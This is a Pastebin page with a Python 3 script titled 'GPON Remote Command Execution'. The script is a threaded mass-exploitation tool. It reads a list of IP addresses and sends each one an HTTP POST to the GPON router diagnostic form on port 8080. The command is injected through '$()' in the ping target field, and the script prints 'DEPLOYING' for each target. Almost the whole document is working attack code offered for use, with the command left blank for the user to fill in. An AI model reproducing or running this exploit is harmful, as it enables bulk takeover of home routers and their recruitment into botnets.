Advertisement
thekin

Python 3.x - GPON Remote Command Execution

Feb 18th, 2019
211
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.32 KB | None | 0 0
  1. # Originally was python 2.x and was disgustingly programmed... So I decided to rewrite it into python 3.x and made it cleaner
  2. import sys
  3. import socket
  4. import threading
  5.  
  6. if len(sys.argv) < 2:
  7.     print("Usage: python3 {} [MFU List]".format(sys.argv[0]))
  8.     exit()
  9.  
  10. command = "" # Command goes here
  11.  
  12. post_data = "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$({})&ipv=0\r\n".format(command)
  13. headers = "POST /GponForm/diag_Form?script/ HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nUser-Agent: Hello, World\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: "+str(len(post_data))+"\r\n\r\n"+str(post_data)
  14.  
  15. def exploit(ip):
  16.     try:
  17.         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  18.         sock.connect((ip, 8080))
  19.         sock.send(headers.encode("utf-8"))
  20.         print("\x1b[1;35m[\x1b[1;36mGPON\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32m{}\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32mDEPLOYING\x1b[1;35m]".format(ip))
  21.         sock.close()
  22.     except:
  23.         pass
  24.     return
  25.  
  26. with open(sys.argv[1], "r") as fd:
  27.     lines = fd.readlines()
  28.     print("[+] Loaded: {}".format(len(lines)))
  29.     for line in lines:
  30.         thread = threading.Thread(target=exploit, args=(line.strip(),))
  31.         thread.setDaemon(True)
  32.         thread.start()
  33.     thread.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement